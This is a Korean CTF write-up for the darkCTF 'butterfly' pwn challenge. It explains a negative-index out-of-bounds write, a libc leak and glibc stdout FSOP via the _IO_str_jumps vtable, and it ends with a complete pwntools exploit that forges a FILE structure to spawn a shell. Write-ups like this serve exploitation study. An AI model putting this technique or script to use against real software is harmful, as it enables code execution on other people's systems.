Search

[darkCTF] butterfly

Last edited time
2022/01/07 12:48
tag
pwn
Category
CTF 문제들
Visibility
Public

요약

취약점 : OOB write

1. 문제

1) mitigation 확인
다걸려 있다
2) 문제 확인
이름을 처음에 입력받는다. aa라고 입력하면 aa가 그대로 출력되는데, 뒤에 이상한 값이 딸려온다. 뭔가 leak될 가능성이 보인다. 그다음 원하는 인덱스에 값을 쓰라고 한다.
3) 코드흐름 파악
void __noreturn handler() { __int64 idx; // [rsp+8h] [rbp-118h] char buf[256]; // [rsp+10h] [rbp-110h] unsigned __int64 v2; // [rsp+118h] [rbp-8h] v2 = __readfsqword(0x28u); *(_QWORD *)note = malloc(0x200uLL); note_1_ = (__int64)malloc(0x200uLL); printf("I need your name: "); read(0, buf, 0x50uLL); puts(buf); printf("Enter the index of the you want to write: "); idx = getnum(); if ( idx <= 1 ) { printf("Enter data: "); read(0, *(void **)&note[8 * idx], 0xE8uLL); } puts("Bye"); _exit(0x1337); }
C
복사
note[2]는 bss에 존재한다. buf에 최대 0x50을 입력받고 출력해준다. 그다음 getnum()을 통해 입력한 인덱스 즉, note[0] or note[1]에 최대 0xe8만큼 값을 쓸수가 있다. 하지만 idx는 음수체크를 하지 않는다.

2. 접근방법

우선 인덱스 선택시 음수를 입력가능하다. note 뒤쪽을 보면 stdout, stderr, stdin 구조체가 존재한다. 표준 입출력에 들어있는 주소에 값을 입력할수 있으니 FSOP로 문제를 접근하면 된다.
우선 glibc 2.26 인가 그 이상부터 vtable을 체크하는 로직이 존재한다.
static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) { /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; }
C
복사
IO_validate_vtbale 함수에서 체크를 하게 된다. section_length에는 현재 _libc_IO_vtables 영역의 사이즈가 담긴다. 그리고 vtable 값과 _libc_IO_vtables 주소를 빼서 offset에 넣는다. 만약 offset의 크기가 section_length 보다 크다면, vtable은 _libc_IO_vtables 영역에 없다는 소리이고, 이때 _IO_vtable_check() 함수를 호출해서 다시한번 포인터를 확인한다.
따라서 vtable 주소를 아무거나 주면 안돼고, _libc_IO_vtables 영역안에 존재하는 함수를 이용해야한다. 우선 원래의 puts 로직을 살펴보자. 자세한건 전에 설명했기 때문에 링크로 대체하겠다.
puts함수가 호출되면 아래 로직이 수행된다.
#include "libioP.h" #include <string.h> #include <limits.h> int _IO_puts (const char *str) { int result = EOF; size_t len = strlen (str); _IO_acquire_lock (stdout); if ((_IO_vtable_offset (stdout) != 0 || _IO_fwide (stdout, -1) == -1) && _IO_sputn (stdout, str, len) == len && _IO_putc_unlocked ('\n', stdout) != EOF) result = MIN (INT_MAX, len + 1); _IO_release_lock (stdout); return result; } weak_alias (_IO_puts, puts) libc_hidden_def (_IO_puts)
C
복사
이중 실제 puts로 출력이 되는 함수는 _IO_sputn() 함수안에서 실행된다. 해당 함수는 stdout 구조체의 vtable을 참조해서 호출된다.
pwndbg> p* ((struct _IO_FILE_plus *)stdout) $4 = { file = { _flags = -72537977, _IO_read_ptr = 0x7ffff7dd07e3 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0x7ffff7dd07e3 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0x7ffff7dd07e3 <_IO_2_1_stdout_+131> "\n", _IO_write_base = 0x7ffff7dd07e3 <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = 0x7ffff7dd07e3 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7ffff7dd07e3 <_IO_2_1_stdout_+131> "\n", _IO_buf_base = 0x7ffff7dd07e3 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = 0x7ffff7dd07e4 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7dcfa00 <_IO_2_1_stdin_>, _fileno = 1, _flags2 = 0, _old_offset = -1, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "\n", _lock = 0x7ffff7dd18c0 <_IO_stdfile_1_lock>, fake 구조체 만들때 얘는 그대로 !!! _offset = -1, _codecvt = 0x0, _wide_data = 0x7ffff7dcf8c0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = -1, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7ffff7dcc2a0 <_IO_file_jumps> }
C
복사
pwndbg> p _IO_file_jumps $9 = { __dummy = 0, __dummy2 = 0, __finish = 0x7ffff7a703a0 <_IO_new_file_finish>, __overflow = 0x7ffff7a71370 <_IO_new_file_overflow>, __underflow = 0x7ffff7a71090 <_IO_new_file_underflow>, __uflow = 0x7ffff7a72430 <__GI__IO_default_uflow>, __pbackfail = 0x7ffff7a73cc0 <__GI__IO_default_pbackfail>, __xsputn = 0x7ffff7a6f9a0 <_IO_new_file_xsputn>, __xsgetn = 0x7ffff7a6f600 <__GI__IO_file_xsgetn>, __seekoff = 0x7ffff7a6ec00 <_IO_new_file_seekoff>, __seekpos = 0x7ffff7a72a00 <_IO_default_seekpos>, __setbuf = 0x7ffff7a6e8c0 <_IO_new_file_setbuf>, __sync = 0x7ffff7a6e740 <_IO_new_file_sync>, __doallocate = 0x7ffff7a62170 <__GI__IO_file_doallocate>, __read = 0x7ffff7a6f980 <__GI__IO_file_read>, __write = 0x7ffff7a6f200 <_IO_new_file_write>, __seek = 0x7ffff7a6e980 <__GI__IO_file_seek>, __close = 0x7ffff7a6e8b0 <__GI__IO_file_close>, __stat = 0x7ffff7a6f1f0 <__GI__IO_file_stat>, __showmanyc = 0x7ffff7a73e40 <_IO_default_showmanyc>, __imbue = 0x7ffff7a73e50 <_IO_default_imbue> } -----------------------------실제 우리가 사용해야하는 함수 pwndbg> p _IO_str_jumps $7 = { __dummy = 0, __dummy2 = 0, __finish = 0x7ffff7a74370 <_IO_str_finish>, __overflow = 0x7ffff7a73fd0 <__GI__IO_str_overflow>, __underflow = 0x7ffff7a73f70 <__GI__IO_str_underflow>, __uflow = 0x7ffff7a72430 <__GI__IO_default_uflow>, __pbackfail = 0x7ffff7a74350 <__GI__IO_str_pbackfail>, __xsputn = 0x7ffff7a72490 <__GI__IO_default_xsputn>, __xsgetn = 0x7ffff7a72640 <__GI__IO_default_xsgetn>, __seekoff = 0x7ffff7a744a0 <__GI__IO_str_seekoff>, __seekpos = 0x7ffff7a72a00 <_IO_default_seekpos>, __setbuf = 0x7ffff7a728d0 <_IO_default_setbuf>, __sync = 0x7ffff7a72cc0 <_IO_default_sync>, __doallocate = 0x7ffff7a72a70 <__GI__IO_default_doallocate>, __read = 0x7ffff7a73e20 <_IO_default_read>, __write = 0x7ffff7a73e30 <_IO_default_write>, __seek = 0x7ffff7a73e00 <_IO_default_seek>, __close = 0x7ffff7a72cc0 <_IO_default_sync>, __stat = 0x7ffff7a73e10 <_IO_default_stat>, __showmanyc = 0x7ffff7a73e40 <_IO_default_showmanyc>, __imbue = 0x7ffff7a73e50 <_IO_default_imbue> }
C
복사
실제로 vtable→__xsputn 를 호출하면, _IO_new_file_xsputn 함수가 호출되면서 그 안에서 write가 결국 이뤄진다. 따라서 우리는 vtable를 _libc_IO_vtables 영역안에 존재하는 함수를 이용해야하고, vtable에서 __overflow를 호출시키게 해야한다. 왜냐하면 __overflow 함수가 호출되게 함으로써 vtable_check() 함수를 우회하고, __overflow() 함수 안에서 시스템함수를 실행시킬수 있기 때문이다.
_IO_str_jumps 구조체안의 __overflow()를 호출하려면 우선 해당주소를 얻어야한다.
pwndbg> x/gx 0x7ffff7dcc2a0+0xd8 0x7ffff7dcc378 <_IO_str_jumps+24>: 0x00007ffff7a73fd0 pwndbg> x/gx 0x00007ffff7a73fd0 0x7ffff7a73fd0 <__GI__IO_str_overflow>: 0x31117408c1f60f8b pwndbg>
C
복사
_IO_str_jumps 주소를 pwntools의 symbols[] 로 찾으면 안나오기 때문에, _IO_file_jumps 함수주소를 찾고, 해당 함수 기준으로 +0xd0이 _IO_str_jumps 구조체 변수의 시작부분이다. __overflow는 _IO_str_jumps +8에 위치함으로
_IO_file_jumps + 0xd8 ⇒ __overflow함수주소이다.
정리를 하자면, puts에서 정상적으로 호출되는 함수인 vtable→__xsputn 를 __overflow로 변경시켜야한다. 어셈에서보면 vtable + 0x38 에 존재하는 함수를 호출함으로 vtable 주소를 __overflow -0x38 값으로 주면 원하는 __overflow함수가 호출된다.
그럼이제 __overflow()함수에서 어디를 이용해야하는지 살펴보자
/* Source: https://code.woboq.org/userspace/glibc/libio/strops.c.html#_IO_str_overflow */ _IO_str_overflow (_IO_FILE *fp, int c) { int flush_only = c == EOF; _IO_size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } ------------------여기가 중요 ---------------------- pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100; if (new_size < old_blen) return EOF; new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); /* ^ Getting RIP control !*/ --------------------------------------------------- #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
C
복사
fp→_s._allocate_buffer(new_size) 가 호출되는데, 이를 system('/bin/sh')로 주면된다. allcate_buffer는 fake file 구조체으로 수정할수 있기때문에, 저따가 시스템함수를 넣으면 된다. 해당 문제 기준으로는 vtable 위치 바로 다음이 저 위치이고, 따라서 vtable+8위치에 system을 넣었다
그다음 인자를 /bin/sh 로 변경시키야 한다.
old_blen*2+100 = '/bin/sh'주소로 넣으면 되므로, old_blen에 ('/bin/sh' 주소 -100)/2 값을 넣으면 된다.
또한 if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) 조건을 만족해야한다.
결국 _IO_write_base, _IO_write_ptr, _IO_buf_end, _IO_buf_base 를 조작하면 된다.
하나 참고해야하는게, stdout을 이용한 FSOP할떄는 stdout 구조체의 _lock = 0x7ffff7dd18c0 <_IO_stdfile_1_lock> 요 필드 값은 원래의 정상값을 넣어줘야 한다.

3. 풀이

from pwn import * context(log_level='DEBUG') p=process("./butterfly",env={'LD_PRELOAD':'./libc.so.6'}) #p=remote("pwn.darkarmy.xyz",32770) elf=ELF('./butterfly') libc=ELF('./libc.so.6') #fp = elf.symbols['fp'] #log.info(hex(fp)) #gdb.attach(p) pause() payload="A"*0x17 p.sendlineafter('name: ',payload) p.recvuntil('\n') leak=p.recv(6) leak=u64(leak.ljust(8,'\x00')) libcbase=leak-0x3fc23f io_=libcbase+0x3ec680 _IO_read_base=io_-0x10 str_bin=libcbase+0x1b40fa log.info(hex(leak)) log.info('libc_base::'+hex(libcbase)) system=libcbase+0x4f4e0 lock__=libcbase+0x3ed8c0+0x80 binsh = libcbase + next(libc.search('/bin/sh')) system = libcbase + libc.sym['system'] log.info('system_addr: 0x%x' % system) fp=libcbase+0x3ec760 io_file_jumps = libcbase + libc.symbols['_IO_file_jumps'] io_str_overflow = io_file_jumps + 0xd8 fake_vtable = io_str_overflow - 0x38 lock=libcbase+0x3ed8c0 payload = p64(0) # flags payload += p64(0) # _IO_read_ptr payload += p64(0x0) # _IO_read_end payload += p64(0x0) # _IO_read_base payload += p64(0x0) # _IO_write_base payload += p64((str_bin - 100) / 2 ) # _IO_write_ptr payload += p64(0x0) # _IO_write_end payload += p64(0) # _IO_buf_base payload += p64((str_bin - 100) / 2 ) # _IO_buf_end payload += p64(0x0) # _IO_save_base payload += p64(0x0) # _IO_backup_base payload += p64(0x0) # _IO_save_end payload += p64(0x0) # _IO_marker payload += p64(0) # _IO_chain payload += p64(0x0) # _fileno payload += p64(0x0) # _old_offset payload += p64(0x0) # #payload += p64(0) payload += p64(lock) # origin -> _IO_stdfile_1_lock don't fixed payload += p64(0)*9 payload += p64(fake_vtable) payload += p64(system) p.sendlineafter('write: ','-6') p.sendlineafter('data: ',payload) p.interactive()
C
복사

4. 몰랐던 개념

이번에 ubuntu 18.04 FSOP 정확히 알아감